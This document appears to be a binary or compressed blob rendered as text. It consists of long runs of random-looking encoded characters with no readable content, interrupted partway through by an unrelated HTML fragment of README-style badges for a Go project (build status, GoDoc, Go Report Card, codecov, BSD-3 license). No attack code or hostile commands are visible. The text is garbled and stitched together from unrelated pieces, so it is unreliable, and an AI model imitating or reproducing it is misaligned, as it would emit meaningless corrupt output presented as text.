z$8$TK&y#NLQc04-L-fjF-zz8=`H3Zv;brHu3i&Hfyk_yZF(xdSw( z1nW@+r+bu1xEv0JoB8sEdHl!poE+*2TwnL>jKaH zIInxpeVnSgRk`&b>~kogfU2Zq(jimHG_~*KQ4k(kHr-;kYjtL=UbC3GS(?N&&5Q}T z2x2MXq{Utx6fr6-XeS7^BCXvTS`=D&DQRU8B#t`#UOhMKRL(5qNw$W{8e({6&CtYtS9 zF726PGZq}X9Fc3)7Mx5AKIyF7nqB`U3ooelRckK@M{omrk~Zs)3;IqAdb5Y8pa<@Z zCD5q;Xh8MHgerxP72hfhubK1=AwuWN?&WV3Z?cE2Fi&K}!tR>vkK6v_z@1~)UQYiJ zLB{%=?1kjr@tBIv7<^odQqBl0u?-(1i;fr>jTzxb%*ddb5q>)(?4uns!rwF_gJwns z&5SJC#x=%?Im`(*oaV=T(yOzof>?MKsw2|2E?z<|RkdWwYy+lsZoVv-IDuuBsx$>t zaioaGJ)6Ijdb;$*LQ>(e24G>Nq3W)7|a^l$hr=HRM!4ost;%|WEm zGj7>e%L4*i!SQ3oiyUo(WRdM2gg=L7s1P$W;|E|b*&jBY_{?v?PQFQioxi)HS#aK- z32F3$_U1>QezV;>*?SBZi82iv?>u7f>MWAzuTdZiK5Z^nxR_B4ZNxx;(2=xhJ34Zk zMC`gMj1v+B!kK@;Bx3l?6frO&_MXZnXoV}MvN4zCQ&2>|eo|}#C7z5PkmeT}retYX z_){9Pu{87xHyT!)G@aI(0DeV-^wj9$&0!BIWG#CiUpgV z#)hol#vs$US)reEoe!O(D)Zl86#@cwL;c5#r zuC^k1@iMp?KZ2_*G~~r^$&1kjdGR-q*FwY9789U+mg3(GTmtyyualC<3C_GM8Ar858b%@&yFEF-L4GkT# z3;0xQyy_VX_K*{7!tEtfgZRYq;SHl;e)u&*S#PK~++`$6q{J#;nXZY>#{@dvD34hZ z4k!%`gMkOM493BdmI#Bv8KKMR{8b9W$Us`Nw`)nvizd;raqQ?4>KE4E8dd`)|GoxS zuo7Ach@r}+w+*iFBXGrpvBtm`SHea{{_r~Cis@p$H(6{*0V+q&9J~KXwJJ%0qbGy( z;?2=-n{=vGnUJrG^m=$hN-n{tAspbjZFV(*A#?(GW#4L#)m>Lu->!0(pM{e9DJQiH zjV9*zBC2h~5IveHO)oMa=3GGN9YG%*jjrMaZ+eLaF_*G!otg%1A1#cY;{t<=iIF3a zrcm%eODkcf+unq)ns*5=lEA9Eg4f`OEVl9IxS(6 zR~KivKud(iQ&NApu;8;SmfX1UjdwR?VKNyVw4*}CF=(T& zgL=!Xd3KOFKl(ZdOUX$*qen6g15yt6EK{h4y~E-Gmu40ZKZ4p?i-+H7%`-Pp8-EkE zZMS%O`sVtcqQSy8cLMiw0&yq^JVfgb4huUx1e3!sFa&T&d9gmk_+?F7{l%0DK#$=z zrk@cl!yP&c7cV9hjn(8)#N0F$J6DAj8Eqm%XED|YxK_kiC+rJT$rqqEoK=5Jx7wQE z%lM3|F^R&g*gOJ7jy8&K(Yl1RVtp1h&!30G(mOaG0z=LhD6&P+2(MGh4DL0#mk}gi zXLjE7DP~wEINevb4au6I$xP7$I0|jk;NXr}-tS!D0?W~F!ptOh`RwS&!?j6oIOCb# zg|U#LnLIllMMXuq8T!LCn#s#!69Jc=;(&sZZItElMjiZkvcN3CsX)aLR4FS2-Ny%j z4F^JGg|yH$ni;*L!KcicBT*paZ#bR@6tRB5MRHbX$$07l5 z*=#KAKh7td$`Yr>0ux;d3e5>?;SkK#3WHeDN{bEKSt=<0qXQpHe46OVQ=MYXIE5|p zhU#O__IMaasstG*HNWFdUiYe1dYE82n{2)%(bh<4JK0pZ+XDHRY&sT%g<8TaAIIw; z`Zj!m9xwT`x*3&~>vfTa;N7DxNLP_@Hj(Ivgux_JogfC||E&5%oe*QmIGCP_-9d@I>~bYCf^6R9}`VOD_d8x^JzI^gt6j)o;*8T|Cgo=R8g56S#WZ8Eeo7R26;1%?Yz7 z`t+F$CbdDIFp@B_8uUT43iOG`gqlMcO?-V`&ptMjE8IhPYqqPr3 z&0$#SDB^td69s%I5hKh_!yK3)&T-7J4T*j7%{8CHbJfz^;d4ehHvT!ompsHh51pNWbD=Pm|skpnzu49uYcj~0ZvY3dbidF z=1R*<^TbIPKy@I9?$knX=W;a+gpdT#NifCH8|iohI<(OEC-$wg9RpBgDbGz~cAbbd zEz$2q-;(p{bV5~N;HEUkCIPtKGBycN=JIYO@mv;1*RE)$yqg9H!WX*Jz>73ud3k02 zj}5C?wSU~d_^ftKGwNf0?x>G)6QkBhn~vJGZr`q>VUc8xO95!Ld}G2m_x3{u?9!xL zH~h9un(Guz>SLKT89o+VsD0a86x@q5aKmsLgyoI)?y`$#kp!18EvT6e<5J2Zl7=@f zcTCmB{4)ZU0;7|K;3FZkhJ=;PjR}Puq%%8IFrUSxa%tEHs9;tJ{n+-W{+Li%YoX$@ z=^0c)mPfmnFjQ+z>MPzFI75(4)st!=>)7{TjZZIiP>7Z&Y z8}oHJBZCctnAl2QPn?U>Nbglpp`wIE7W)f8v&R5WP$utgg|=a#ed*`E9N2*!PY3)| zL#ANuzeVey4Rc(knSePG3T1-EM*kYS?YxiRKhuv$vavw0fmAL0vJRWIsn!x^)sQ;l zyrBh9H(ja`8>9ORc)7xsIqB8+!qSbMijfE3WYB_7n>}_G>3DzR7r*kl`_4V^>dzAU zufU0e*JV%lvN1S!UG}uN8*%s4xLfCrNVUVg_{^y#nm0|%ty@2m2{3_x3*aaZ-f2Vt zMT1+mdJr@b0UEsLoNs zH$LuHhn`uUcm5F^A~BAbHYjTjE<_F1>u3adlquVN;7x1LDh zD+o4`n@L;1?WLB3Er^6`oK{yCFOH!OCS({%ro)Ob1@F@qmso~ib^}A<)Io!)e>ItP zYOQVa_KBwK)R0Xr4P_}KAv>L23V^uws)M7~DW1__Q(X^dVIUo>jxhA9qi4rTrlHH^ z)o;dZ-vNwM15N*LXArp7JXw2aawzSg2nmY@(%E2xrRaP>`cbj@P<7~K8z=9E>#}b{ zGuuYG_3nx0F?^)oK&gf)-YOe|sr2Iw(l79uO0mw^_@Tp0g`)c62H7v+bLLO6fCYB5 z7pE_DoU>yORE1Rx?i?SGaWvzo)+p2rpt^f9-}%7n4myf_g|H&M;Zm?~E|-!cqPcX& zd%bkWmwD-p!3%Htr?RJTw|**nGMCFvW#7Ps7{F03c>JHlWt8FvgA_l2N-Mf9K;?g+ z@>7c!K9j@{p4>9QmST^Rvor~r)tqb^NJswky_IVQFSepid~r@M20ryX3l4=lxXg}R zu$1R=Kd2Ohh_hR&{r2T3R@&0&hgHbz86FJg_3_s9ktQBRZ@Gk`acK8}^V0_0%(kH> z34pm=uiE*V@*yVvdCjyd0A}ea^P39X3~Z6>>zpts380st%41fys##$Vwz_(5O0;m_WZp|3gqe)gMmV z&{5Sl$%FS{SnP{F#?mPiRK{`T4N#3Pp~=CGjPeO5TgD#^!2IOnv0jnr1i2EyS?xdn z4*i3}lY{P_S$zw7EXd)vaGq!=E$o7ofoHzEO?vOtulohWxVv^h?1-9}$=mgP$ioBNZztOY)v%@num+r?4Ql?f;a_CT*@5&pX=!}n;Tc8CBf6Uj9vo6&4OR^ z>NMLaD?Wi~egC_D5w($BZ-RA)bGchz*RFJi;WlfX%^84wciCwhpds$-x1IZQ{MdNn z6!&;eeSbFUBTp=;3h>x?jw2;xGrxH}dX6CQklS8|+uc?Xe zVo7&Xv8wjArUJfhkPu27v)@yLy)|hTn)S??^AIX^(t<}{qI6QwbqrY??LIT7v)|Yc zz2Up{S^ExaKin^T;Nk|*Ob-Zdhwur8r+KGhi<+qs|NHQrE-^-!`e=d~n)#&0?w}ku;jtO>zvq_6%y|UWY@; zcLhiv&f#HnpzcNzXsWCqtb#Jv(_?uE4Wvc#p;@J71bNt8v-SB@xEL~Z)(^1eQ$IHILWh($|7!23%g8S@seGB(OeT|Q`Z=AUB#}<;QZIzZ^O4eEfxLwL>|7$b~oQR^}Y=@*f~}_h=2(>_Eg|A zq>cj}8U-ZCG%fF9_=S=s*lphA6hA>XQ3Oyka_3#9!tMQe{fDuw|K)e`2()NYh(p5i zo=s6Kc4ShRVnmB0>)^_c6S#(GHyOHB@zBdWK!zcS+p^0^7lJRfBux%s0%FB{)W(cp zP{cxvJmT{aG+>8na`C(6X-5R;ZKY{mtuj{#jXc{lOl$KtL#0Pfb8}M!O9CeT31k0a z*sCDBSQ+Axt+CJD4r4#{L=hOHjsP}?R8)gEA))6{wlb1~?CQg@*JbJP#nGx1s=ys1 zl_%EnLD%+N&BY(L>Uq_^DPv&4Xh|;j2i}mth9)Fe4FA{IJ_xX-uEZ?+aZ&FFSD27U zY0pV%&u9O!9=y)Rv^AI3-V)B~NrNL)7`lpFe)!vE-iMFR$yi=vM$;ZqfJ~95qld95 z1|fBFTC$5m`I2U$AF1(Ei5{ExqFqB*wC1pH576Bn!Y`6WmFb?HAutdbT$J${^55I~ zts&vdR;W`#`OQ8JjaarQ248&UD}_GW`dI`SoN7yt(|{H0fLc|+2M`$3eHGK)O6}fM zU>C~x!SpBaZ{#<_=uBdUxohROC#+7atd-i8A!*-qaBtXH6UB`E9_4 zJi02r$4-wmESYCx9cw?zupSDSWZI80+P=zTP+)J(p!D;0>T`>R52CF~m=(>uaaM?~ zFq)W~rl1lY&CMl!p2@-19&M?H6DdCngkb4hD2ikamp`j`jE&?+2J zcD-^c!yP^@9lSjF)--h97(Eb0(QP>$Fi;aJuFJqPN>YKiEaWLQjP z3%Yy!SAb88@iDN41%%VMAs?zq)7F_}(av^y=*iceXE8XCV%tbm%f~Sev*ri#vJ?oN zj%b4Cy>}QoFPjXpyn>57n?J?Pcj}Y(%_x01|7Ib*Sv&s?d(#>C#7I0`lWTmq28M@0 zs#3Fhq2U{V=L+&N#G9(i7I;L3KXo%C79)lRp9e#u1KTlFCA=a!ek?H6 zIi2#~6dPh-pDnh!&=Dnb1aGzL>MsyFem98X zY|<+NIa$4?f`V5yR{2X+r?O`_FD_yhIj7T8)Buv{Nk9`3nI6h3eB-m@>4Li@YZfsh zXt&q#xQm#xCK6+8P7$DueR>nkzcc(ox7GZyOuIaSL{DY7d>}Cc4fLNo0}V)T?hG{G z@u=8brSuYo96u6@SCBh*agGD?4rDMJ8b_&LD?kbY0jl9i8w!nFw=;|z_M%!&*yRN3 zUk@XQXK3}Tzh}4?Q@T;!!jEw=2d8cd3+kKK3|l~-*LCX3M{JHFT&JP@>H_ZTI;HEn zPA}Gjlu1L;TP~sKTJ&RA*QwsIjrF_7!+ITO2ey05=UlCZ7<88*L|QCblf0b>9^W%r zdXwg9=&VhwqLgG&{Pl*G$(JHKV5~u)s_2O2IE=bpCnn5h8DwKr#U>3ey{qcnjXYrd z>>mK`C03#=Zo@=jTO;zyq$Y6?nX_&;iJzoy798Z(nd>U?ziN2Tr1K`a!H3a}a0$EZ z1o=vvD&aeO?2=9qBpDTLk98dR6}G+%tn)6khq1=49ff^RUHss8+tDr(4J0pz?WqF#Y%4eAsLo-8-5EsTd*5Id6psI>)bsJX!Yy>`+-NWM&dYdREt}h#{8f z=@EY_>q!k0thcIXPx@%b7L`)rl`!-;wIv<60s*m}KcOJ%N&Ed^m+vJnGsdX();sFS zW<|w|n^>W-$4v?M-`dixRNS@63hg1CNAtK#al*loHGD$rVos)b9io0L}xm8GAMb%(TUm6&=fRtJ>A~|^j~l}Mhl{w^TB>x)-j=*6pi!9h_?RkR#c=_6u>=#QB(&?R#Pi4xha zvKEpa#nqm$Q?fFi52%O!pg(lV z^bIAW4hRMwSD=GUsLLZzNCN8^woT5-IeQj**R9De7cYLy^X~m1R z7g77-oC;*^j*kHxZynR;0fH&PO~Nn$!!}T)-6C-yFv?H`i`wKr3<<_|VuF0r>kq}V zY%|6%Q^pXbLlp0sGDc4X*>0j5zkgW8yS}qa*zUW(v)N>Fcj`~dkpouq+bz6!V@$I4 ztkmhvorXF6qMFW$?0*JXJv5oy+C_(4Pa~=B^k%~ahj-TB^_nmLatWFE=-Ew~GnT<7 z=S2H7c5fa>s;VIFHrq+_>SEXF?$~ zp|XUk2n(BuO4Z2}c~glrf8cf;oFFgbVqU34EwEJGQYo;K7hSXx2h_S6{Nh_L=?e<7 z9py#(7cN7CW6e1R$GCa(mvp*v^QHfa1gh$lF=ub5lMK)+AajVNsPEq@&U&Kobo&jS zdYoBBKEqxZ1Rj%pY8cCc?8O_^J$#c=Hx9b%OFbsK@RITV`VXGSDnA%a2`iw@>rlc} zS;UAq8!Yss3K%!ij4nw7-3Is3ZQ%+-)G5Y$-DKqkU}f3K0c)r@h{p2yc$M0**V(_I z9>2C{SXN*6$=>>!!q|+SO~UxH z;&ges#oQiw8)%e)-zj*bcws=esya9*h;H}r-85tx@hj@4&(|2))pO1LRl(f?|IY9+ zL%p8M-fQy>o4JKV4=&Fg<9S*qHb16!5_h+kT)Ghm+%USq(w$y-w6%nIB$th9{I-B!Y z8@lC$wuVH~8h|W9&v+{vM>SZn-9e36+9(YAo`pUmYn|4pYB-!*KQ*|Bu94! zG{EWO)Hv=Rra8RzQ6dGP1tdS|_~}hv;&ax;GwIG8&(qLx>(MSDmdVVmt+c6Uj;&Z7 zL9MMHdls-R_^z6Lr%$w+wbOQ_)NsBv(aH7U$BrleEXmW^-(dUlk0gJRFKC|Y<4_y$ zU#?|uDMO368`#(ivz$IBElJtsw>!;u3rs6dKBFC#>&waUzm&w~z?NHqctB{CEj z5=hp#gMp6fA1UfjK4^^3TtSM@!Ad{xaA$oIPFJBh=u0`i{ku>gw)Z2cIxvsK z%a@hn#uo4}6)Jlf2j{8V&rYhT|J^Hyj$&FQ4xi0)_|dmFUrTGxU_CgaTPH_8wxiC* z=tqVjeOe(&IfX|>ZQj>3zhN|)Kr>%c{{m@Ea~noSW31b;_V6{Kq=M!dsvV9{ye_aL z*ml41H385$ilS?cE_ONsE|JvQc+QB4A67BK2OvOz>(d1YK~*%=V)zOpcR+pW`zPo= zfSJORanW3Cg{JlqSfFH&KtSW!>E2Lb!Bky^tHgJ)Y8W@=F5XA(Wy;f$6d%VVCg*eCWeKY zFL}`~m|TQ2VqxgfRh@Qcn!;%bR@?AhxozULrEe4#C46%BsAa!o8cS$%c!5VRsJ7v> za@TOn&Ayexmb5l|61AN)zmMK^!3=ko^v`I6A(9buol_1Exy3(c{6iTygMUuq9tmNj zl!(mf$Y!|?@w4s0^*bNnotu`Ro)-zuLJ>&+t@wq!CxFUhsgQ}Vf#{kYvqy=A*!p8x zN&opyFi{4G@rWR4JYv9tclt#1{ZCmOOG&7dIli;r`f~q{h`kp^M3|56@O7|AXJ`~Y zROv;0B~}4px}l)>n^q{r_KrL@e+iz6qYQ)%HB;7jMqX*=8J{*T4qm$~sY66nGM+9= z0*$19K0h;&E7S!(VO!p933EwLsF&593|lv4E<@O&Hds$u-I>lyDiT+jJ2vT0{%vr? zxnq-ByVhfq@W7*?(mNPOCjF%fLg7s|?ya$e8E45jZ+pi{l+K9ja_M>On7|LSX=@Hg zCEexYITs$0Accdj2uqUHxjad$b2HY$N5MZt2m8Y^??#eXtf+Kh&-}XDl>Rrja#nbY zhGucOUvZ`AS_;QyDd^I=Q=T2i^%=<8tVl2ja=P zfOSz}w_d!%QzW9`@v*bb7fX>SH;DymxcnGKMV2PAH2t#(89Qk>fpz+Snhs~C?H|*w z0fihJg^!y>0$G4i$LT-#6f=+h>~f#xd5~pzDvs%412bT>d=NO|9hBdu&#CgVycO;n z7)|9a7v>UA2E*ac7J08BFZmyR=rB24u95{g`V*Nxox(mv9wJ}5`i(9xRSXBDa@iY6 zgi_F5tZmB1xxzX@h;X#)-l&lGa1Ls7(OZd7<(74C!AzFUj{Xhxnm0y0dW;c)7d0bM zbLbb}{$wBsAv)Z>Opyxzv?}fvY(5rnS?$H-NxiLF@MdWo#1~8L^Wkec>=Fz=YLC*B zO=RZ%1+;R`sVgYnP&t|F^`{;HbB}V;dp#`EjE_gEW_Ohv@y4om*==$7++N zb83%m=NJxI3hjZ5AmJJ3sCCbE>&L9aRNdA+m+IJ70r?YPR)rfve2Rn&M&)!|Z0%}Q z5k z9+?ZX^K?+0=n#iF6XGiq{alp}90{DW4T4}fV;+4{5-Hndfo1(CKOLYi6WCnnQ#9aL z??{eKfPE@kVz40DQFu_kd9B10b(7ad?Te&FCyQOhD|W1A1f)w3_;H$|Ad`LI_q92@ z+LCpfl>i+Y~reKixs?<-P65?&K;A#sx@D;ovzMA>5EHP8-ifIp_1L&-rnDg@*`T zpO4Y&|cIU5qh z@pjuD#8}&ImB%~irnC_P!AO$t0QcQooD)@rNNInLXsCA z=GVHCh{>}x_U86-w1P7-gZ6C(#`(?eFRA{y&F-6A+>8~>X;cNcRfJk1jBIHz`o%n2 zY|4@bF>8C?<9JD!)0@W}8e=pl4s)ZK&wjh46RqZwVQ|!@JoCW?0v_pn;&CBy+U_9j z_kh$t7gQAkW%V^YNuYbAb>Ipyocp=8r%fCEc_{Sf=%<*cp9>u~(4U9G#SYcFB)HDG zX@cTJ9K+S(rRq|HvdxNS&}cS?^Z0W~`G#}&)8MD6l(cYtb+H+}r22Q8QEJEMj(fQo z$(8x@@pIU-;6JM(f*K(o!AcxWX z>Z2rva#S4H$Xhbh5h|n%cQ(T$GfgEd6Q>{0r8+(eSf3Xnh)*8zAnz*o>km>VUD8td zpfM~V@19@0`Y@l|+KsiHk(R)}TwJ8W{|JAX5<5kHqf=iuDIEP^30N3D5)~mJ4qG=BoyZ^?S}Q zmxTKagih~N>|)@f;qc=M{gxLi7LJWW=y1YqOk6Q~gYZ=fwGVzYJs>|i zm8eN8x2KjmGWv=5ylP*Le#XIupdS5LF2IV@{yJ&_ZdEqCV8wtrA|WbVi-d98A|W{T z!D5Deg>Z`kE%s61J#Bn_E1g_J$nKx(Q<(zo>tV@^L&JO8Th`t%uvu^8w(TuwMQ;-g zKr5xajRI|NDL`)pjzpqrMFDy{KgIJN?n|2DIo658M+q`~mlLd@b#h1Jm>oEOGr7%N z5_H)<+tbM%H6?I*%u39rF|gwQpT__0)A*6(lyeGTC3VC|PPR;b32!YDWNouy>N9ko z=Mk5rfo$UuxLN+rt8BWc7SA@e>+9_*##gahYDlRRJ$Y8Yn|FBfm$DuI z>3!!Fe0}#Lmr!~J>3wYX|?!p!zs_%EAD3=>SsAlbn?l(%B?wg-4=Gu5_|I z&y;aB2|9b|BC_TkA!YCHFnQ08K{v;_3RM zACQhh&eV@K_sFOElW{-B$Nd33Ms(OEAQ@$u1xhyL#52Nv`=ko1ybe@)VtAJ z-1;0>oL;dd=a)o3YQgb^nZibqLeOO>J*kH2j^((%Fj9#g~(JKP|KyHF&)kcV4| z>Rgm&hI80&300$RSJ4kVSeI@_sSSD+-H(kYaNXFj?_%SLA~v32BRqQ(-YjUgJH_Fr zBTZ5QNrd-Bd=)^3`y2xBI3lEQ*b+}GT=^+KdoXW^4Ypy)CCvU{W=2M}i2<%lnl_M3 zB{%&cP*JGF1Bax+Gb>#p>uJeMxQ*$S>$&=2>cg>^Ko@|7jU1D4AzF&WUdm-o8q2L^ zc?oDvayn}~#(Y7e^OCf*c_I6EgVs9hBUI5HzVmQ-gdEuXJHea>u>O}o?>LHyLr=$x zBJmaAV&YYS&c*n!u<1-#(8a$+cO2z+tlwG`ZD0_mvJ*icqH$HmzTEy61pvQZ*Hi&T zw^cxc2CGPaV`n|2KvnKZ8z^Md5wT7@5wyQZZcv*T6U`Cy8~cirI_&^9*MXU>N19;{>xl(aN z8p;Zd(B`M&`4#V1b(;S~KIX=EltEnG&kGeo~<; zxDsGouiaKv`sY@wiMo>*px8$fAQ#C#fcqIAmmH%;h!C^l2qstD{ z&&yC1qRq>kv?0+1n^>#Hnoc8l-uOw(SR~hvkCrhtX@dA0ZfjUnwZ=KJ)ly7Zg=gfh z$Qr^?eze)Co(@c^H8wN!oy<5RoARhD5Ek96`lvg30&y@J2+S27k^;FzjZ1gclg*ls z4ofa~PQJkqEq8Y@*&`2$;n2d{CVS2rdKq8NFo&B&@e~LwMyQLI(AxOM!;>e-Nl(Z0 zJfZGCZ@EIvz*L|R$_cqiebWJfb4;OZ(5_i9grxYZ&v5OeOlJqZ-z z@Cu&a#gdv{G`;B7K8(VapWrKUe&HwQXX;g#S#KQQ z0&(v5#7UBR<4}UtmoTm;U-=aKpRwUkcju!3`hW1>8+Z#wIoi?xq}1wu5`m6x__} zS!QDj?tLw|cWZVhxc8k2aPK`6t0fkzeF@zA0XOv~a35eY!O|Jv0>>fkHRxJDDo2tg zU>nzi`V%=;>*)@q?sEAq>wu;7oA`_luQ3y#D06-pke_PEm(A%&!+GcD@B+@y%Vs(f z0zZ*OZ&u%EuD(msi$}Bi0DoepAj!N)XDxF`B`GuM1Q5WkBE90|?%*bpsA7YC0ofPL zbSP^^@lLyA#sM+Z#a7bQ-bTd^lWbA8f8?R@lSPFk?j}#JCT?g$o}IF*TR)}7GL4Q* zcd_9yXiVN&dLHXN&<$vBiG-xdQ@os<9QzikK2|-&V_~nap8T@AH^{5F`yYa^jZ!e+ z=6AOu_SYx{*}PH^iCIlAXg_TT!+FGsf`Co*2MC4)m`E+ueWYH$^Pw@F9Sh%JMqe#!0+?0XC6#Q;z2&CJayLtm^ePk2smo+H~BRja;UbuZa4 znjgUaM08^gp2)r#S;0&*063L8%}RAp8NFIfyfky$XS+`}!)AZXr@U%9JkgdEeENLUbC z|5kti-zP&%bC}a4m~iH0je!s*5~^-GyeL%+Zd!TcE(kq1u=!S|6GEO>s`9#oMgUEe zZgI|k-vNHd=Ebp=fUiHd*De>zt%AX)w* zT%6_DlD1m#cNKuWHJ;M_Bb56)UOg5Qdfq+)n)l~TER(g{J_4+Qvs)+Twjt1(+U;|U zDWyNif!c-d;4quzfKp4CYo>TE4qsmo;t!@tZWuUGF-d13krNp%nRETKUd!8T%zU}_ zNpTn1THjHBHM_mO?~PHY*)OmzHt{c@{+MJ_)*sLBAiD;nefD@U*ia|VR_xXf|Eu__ z(g^|Jad+NT-}l;npB>Rj|` z-p7sYI7?2+E+FyeJq5$xWGRX&Zn!1F!P&a2GJQS7a2_H9cl6T8+0koK6|vw7IH31O zLW>wv)Q`TpfA%;yWKLiGF+K)fzn_7HY-BKIUW6p=kZQ%3e&U8vRS!{HQWB6BK9#f4 zM%Rj)$@FEc2{W0>7DK5>tVY*?@MniGF&fyO$Zkn#sZiOe>@wgx`ZE@&VSsVVdsDeT zfj>=)tW&=&vc9#WlZ6K6%smd?2Z6XgoP~{j8=Nm#zcuD#g6@9fq&N)Lg^!(v+>oSrNA5`z{rV4n zrCWdYS6u(d?%4IddIfiRAmyxJ1-`k(Re^JF!UaqQ@Q2_)`RH>6NrKt)(Lq*>oL4~j z_4i@tpz)3FiH|7FTfZHSJ=Y<13w}qfxDM&C&IoQvk@^H-4L-wdqPgF01i*SL-9uUZ zsmId$@JscX_!*(41G*EHEjLsaYjH^Zu9jm!oWIymnF+V}N_SFO&Kv}lEyEc_-+oZp zGCI&8sB9>eEdzo9fP=~!ehY4Le4bRsN3KosWq6Wx-UgLXp?ic$7#=e$!!- z51%F^oy!(th1d1Zzr0)j)~Csc;553?=aYXL`fefUd)*&A8f>^8jQYv~ULJp2lu)z8B$m@9zsch@8O)Bxdp*d7%J{ zmDSK`o2vp%yI{-1wwCbuja<9020r2C&C1<61NO*HBZ1Mk_4;M3&{+rHptYqF**{g0 zZQhJndCr>!Fm8GD1yF*n###=#{&ebr;`OzzOc9PQ--vT^1jT*fUv_zc$Mv4b>)^b# zFQS-^{wfkDQjLEdL>NbTWqk3|Z{Z7yg8>U04`;BQa7p7J_>o@@UsZ<$z5Z* z%y~h2<8I+zU+wzbumf9GgNN>bS+F9Ckg|7a0WqOM59g?O^B%IRpUf48MY5yAC#nhK zoFk>}@#*Q)Z(t!RBu8uErBL`WsXpfY`5pCLetnW=$Oo>$r1`2g0?ui50kQ z#ka;i;s1dF$$tGu=wZxnF?x)MYOMTab6G0Ai&?r~)-mFY;;$6wMtywPP&S;C_Y1Dx zDPD2Q;q+a4#e(z`*$dMX;znaW4{Z8oVnF9UxPbA-A|u9$V+71#8B9R{jg5Ar@9##v zUJ;Fi7Kpiue8>Icss*vWMp1tofgdinvp5SX{w%FHywQJS zNH&y$LvF80p{8>&XW$#ONM&5U*lPO!A#F z8T$Rnyjk|j5aOg@@ufi<5-Q>nh^JaZrFTu0~Qvjel^=3Ey;my_g94-Aa8srU46}0dq@

    + + Github Actions (workflows) + + + + Go module version + + + + GoDoc reference + + + + Go Report Card + + + + codecov + + + + License: BSD-3 + +

z|q&9ZDQpG&cH<~1#PLTqJnv#!$%K7rO~Vr{#In2FyuQdfo=i4MTsN6?}!t`=Dic-Z*y*RfXf%@?-f29zW!DA}!K z2g3EqE*jf`(!LUA^g3wCUodDgeZFm}5sCB{-D+`#SE-T=n38LC?BP#-#_x z|B-Seo-vN=LkiU&`C-MW{7W{d`H5JMQ!?6Jg4_|K_qiFP+rp|D#yj&*+tryG7Ul|k zg0D>-Lu@xLar>~El?OR&2=kv5L7fRC&n`be3!}PR7qG_g$njikcg3x6kgB?4SBJM8 zP*7i5E{pq%=W{wp>j)?b0w+C!h!Z11B%;7jmkt(6W_69l{0IPY#;}B&oht}S#Wxrz zpemBZ5*8^>;J-LN3p{}vCz-@1hI1Ha%i#XyQc)x4d<4ZhXckTN5_-D=u{@5J+Kx^D zZqgseGg1L`7*&81YU!fkTLKguWZjb#)TN}Ls#rrR4&0Wuu}wi8?xdiyK@1x7CNd$< zH(|i}-pA51UkWO=G?w|+ThtqyYxtsNP#FPPGKpA1W@ zrf2KwU=AiA<63jbhg6A~38?3yl(GqE)x8F2e2WRFTrdH}aj&9hZ}ZY3adsLo+sb`w(I}r%9T4>qxZF#JAb@v1Lf% z<|B#h3W;M>}biI#hl$0 zLB^kDZ5KEeKQjJ&_)|h>8-LsafI;_S*H3&()ufIhiCI*;>*E1bFnLJT82L331%E>G_9|V|yz=&f?kO9eiG@hk&CQQxAd2lQwitl?G5pa7D;DvnR+4VNvK(5`3V#5!PrWN+@{GFp2e|@)6nG9TMbt z`FsOyD;l*^&${8~z5i2EA!@~wuNye*=8y>(y+}P(9dtoV9lJhl+*_vGvDqWH2BnK0ZqLo-LqE@jMt12-yS3 z!CDV_G;TPAIKUBEp801zL^3x7z2#EsJl-z7Hb~ng;|@ zTO8y-g^sBw)>s}FDG9*G7)@dbu^fWz===D0weA_cAh0r)gd)J%yKH1Lj_yIn6y81l zJ%aJ{BxKYf`lnkO8C|NHynmbMZx)YPN4qh+MGnK9NUH_CGKg&kKr;X-2LV7V4heuI z9uK)BpgkJ#6(jI)2(5L42&txz9sm@_FZ|;7^~vZG6^nFeI~Ihfqu@RjOtHc0Ih8iK zZlxi^fxrm!3iAW^$yj7rC_EkQjV>9Q`d+Y(Drc<_`K?E-A{1)6utzUBGk_u1zr_&h z-_SqV_z90>Rc{yaxip#B+?N2UKdCynM$=a-`YMfIv&LOY|K9qFhxWWj#@Muxv0V!` zv6*w;3;#ZQ+R&)Yo`+bkkDUj3240179c$S?zhzqkGo zSoe5_*Xy)RJslODVT2h#q+m;L5$Z`JG6Jb?@YX%U`rB%PH}XH{aF$tb=S+nUOel@} zcSaW5PJL07rfqpa78>M?_GpYohSijwSM@zV6-SH9455W-vS`$+8@$ZV)c5?K15Mzx zr&wv&g-*6bpF2}OdhcN4B{|#YROk=;E+i8nsS+M>xJGVW>DQOE*=kRQVk&I zkL&hxgi9)XXpdO9pIk?fWm#R$7K74{LAmA)=TGEP(TJlXn_N^zNt-H)`g^yelHN&G zOvQDAtQdRs70O9jYA9>b`=WkV2~NTl|4rwW2d>S%9Pib?v82^q^fB5L!1nNcxwRa> zZ{?SjyyxUA?gR1SgZiz@7-1{0QCV^KgolK0i~0}lc9&F*`b48^wkuO;YgvOBR(W-B zW0F?{W8u$I5P=FGB<4VEVl+{k6n7IxtE~QxtvR_JY5 z6%DK|4H=htE436DT9*Q2%ao%q;u#z6@nm8*%sUbf65k(u4?D5|=iMDl>h+g72Fk_{NAx$(i zG%Of2oq9qc++6aUMGBj+_l$4HAV39~VDp6G#$NKAp3ja+&ga_2WBpI(%uBZ8L#qE%4;+ zNCvMcc328#E$~p^gy@ul8M|j$+h&U4PZoK3PLq{Q=;o2^pRuV>l$4D>NR(oXx*}(* z2Te!cZC#!6XTf(Sa{RAy`ylujZ5cGvNCdrofG>@jp43C>^5DClBq?7CYVJA@G@5H@4?wqBK69J|Xg1BiR03Q+XWD?$8uA}0+C zl*g(KgDQomYqACl4h#gYGyV{xWSmGl%`$y?jJKL%I=o(d(kW4W`KXwHKE1kl)LTP& zO-{sSaO=g#=LJ6AWWJ9{rPQ`bZSx4yL9<-pulm%1f$n4vY4ZrkKAdvKb~>(6-cn^R z$;Y!v+X_CQAvK8GjOy=n@}9?e`}mjm5DHDpt@`ISW0|f#_N6_hppY%XXf&9P{;{)1 zzcc1xotJIyE!0aQrp-4Xr5!{JON*jm8%e?h+YrIdC6S8FxCR1dPb=W}Imwsr>dcv< zMt4@C9oAuHAx;{+qa)ri*xQ3;1V}E9X&^tJo@wmB4WCDXVlWNkST9a^zS@)YrN$qw z*W746yu3x%Trcj&AtfDPZ7M!W#vkbfETp6l6gp~yWy3^5Uu(NH{g|gKQ&5#lJ2%aK z2o}Fp4F6;m#iB;r($aH@}2LM!F ze-&HAc>NxAtF}i@&2O*08Pvd|p~L9r3PWaKUv)537a~}@rv*9U3?3N> z1%vEHN;Dn#8Mc^#kw>zk{;)6e`ls9(!6?D2&gR!xkrK8fEYWl~{nKaxcN(tx*)$WU z9l_%2?@{ft59J)E#HD(yI*w|d4U_70{dwVC^s1?Qpz!vcK*T(>`(PMh&8x91T+q{L 